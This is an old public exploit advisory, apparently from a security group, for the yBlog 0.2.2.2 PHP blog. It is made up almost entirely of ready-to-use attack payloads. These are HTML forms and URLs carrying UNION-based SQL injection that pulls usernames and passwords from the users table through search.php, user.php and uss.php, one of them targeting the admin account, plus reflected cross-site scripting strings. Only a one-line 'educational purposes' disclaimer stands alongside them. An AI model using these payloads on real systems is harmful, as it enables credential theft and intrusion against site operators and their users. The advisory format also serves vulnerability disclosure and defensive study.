yBlog 0.2.2.2 (XSS/SQL) Multiple Remote Vulnerabilities

🗓️ 11 Jun 2008 00:00:00Reported by RootType
yBlog 0.2.2.2 (XSS/SQL) Remote Vulnerabilitie

                                                &nbsp;&nbsp;_____&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_____&nbsp;&nbsp;_____&nbsp;_____&nbsp;_____&nbsp;&nbsp;
&nbsp;/&nbsp;&nbsp;___|&nbsp;|_|&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;\|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;
&nbsp;|&nbsp;(___|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;[_)_/|&nbsp;(_)&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|&nbsp;&nbsp;&nbsp;
&nbsp;\_____|_|&nbsp;|_|_|&nbsp;|_||_____|_____|&nbsp;|_|&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C.&nbsp;H.&nbsp;R.&nbsp;O.&nbsp;O.&nbsp;T.&nbsp;&nbsp;SECURITY&nbsp;&nbsp;GROUP
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;--&nbsp;-----&nbsp;---&nbsp;--&nbsp;--&nbsp;----&nbsp;---&nbsp;--&nbsp;-&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.chroot.org

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;_&nbsp;_&nbsp;_____&nbsp;____&nbsp;____&nbsp;__&nbsp;&nbsp;_&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hacks&nbsp;In&nbsp;Taiwan&nbsp;&nbsp;|&nbsp;|_|&nbsp;|&nbsp;|_&nbsp;&nbsp;&nbsp;_|&nbsp;&nbsp;__|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\|&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conference&nbsp;2008&nbsp;&nbsp;|&nbsp;&nbsp;_&nbsp;&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;|&nbsp;(__|&nbsp;()&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|_|&nbsp;|_|_|&nbsp;|_|&nbsp;\____|____|_|\__|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://www.hitcon.org


Title&nbsp;=======::&nbsp;yBlog&nbsp;0.2.2.2&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilities

Author&nbsp;======::&nbsp;unohope&nbsp;[at]&nbsp;chroot&nbsp;[dot]&nbsp;org

IRC&nbsp;=========::&nbsp;irc.chroot.org&nbsp;#chroot

ScriptName&nbsp;==::&nbsp;yBlog

Download&nbsp;====::&nbsp;http://nchc.dl.sourceforge.net/sourceforge/y-blog/yblog-0.2.2.2.tar.gz

Mirror&nbsp;======::&nbsp;http://www.badongo.com/file/9705849

______________________
[SQL&nbsp;Injection]

-&nbsp;{search.php}&nbsp;-

&lt;form&nbsp;action=&quot;http://localhost/yblog/search.php&quot;&nbsp;method=&quot;post&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;q&quot;&nbsp;value=&quot;'&nbsp;union&nbsp;select&nbsp;0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16&nbsp;from&nbsp;usuarios/*&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;send&quot;&gt;
&lt;/form&gt;

&lt;form&nbsp;action=&quot;http://localhost/yblog/search.php&quot;&nbsp;method=&quot;post&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;cn&quot;&nbsp;value=&quot;1&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;q&quot;&nbsp;value=&quot;'&nbsp;union&nbsp;select&nbsp;0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16&nbsp;from&nbsp;usuarios/*&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;send&quot;&gt;
&lt;/form&gt;

-&nbsp;{user.php}&nbsp;-

http://localhost/yblog/user.php?n=-99'+union+select+0,1,2,3,usuario,password,6,7,8,9,10,11,12,13,14,15,16+from+usuarios/*

-&nbsp;{uss.php}&nbsp;-

http://localhost/yblog/uss.php?action=2&amp;done=1&amp;n=-99'+union+select+0,1,2,usuario,password,5,6,7,8,9,10,11,12,13,14,15,16+from+usuarios+where+usuario='adm'/*

______________________
[Cross-Site&nbsp;Scripting]

-&nbsp;{search.php}&nbsp;-

&lt;form&nbsp;action=&quot;http://localhost/yblog/search.php&quot;&nbsp;method=&quot;post&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;q&quot;&nbsp;value=&quot;&lt;script&gt;alert(/xss/)&lt;/script&gt;&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;send&quot;&gt;
&lt;/form&gt;

-&nbsp;{user.php}&nbsp;-

http://localhost/yblog/user.php?n=&lt;script&gt;alert(/xss/)&lt;/script&gt;

-&nbsp;{uss.php}&nbsp;-&nbsp;

http://localhost/yblog/uss.php?action=2&amp;done=1&amp;n=&lt;script&gt;alert(/xss/)&lt;/script&gt;

______
[NOTE]

!!&nbsp;This&nbsp;is&nbsp;just&nbsp;for&nbsp;educational&nbsp;purposes,&nbsp;DO&nbsp;NOT&nbsp;use&nbsp;for&nbsp;illegal.&nbsp;!!
11 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1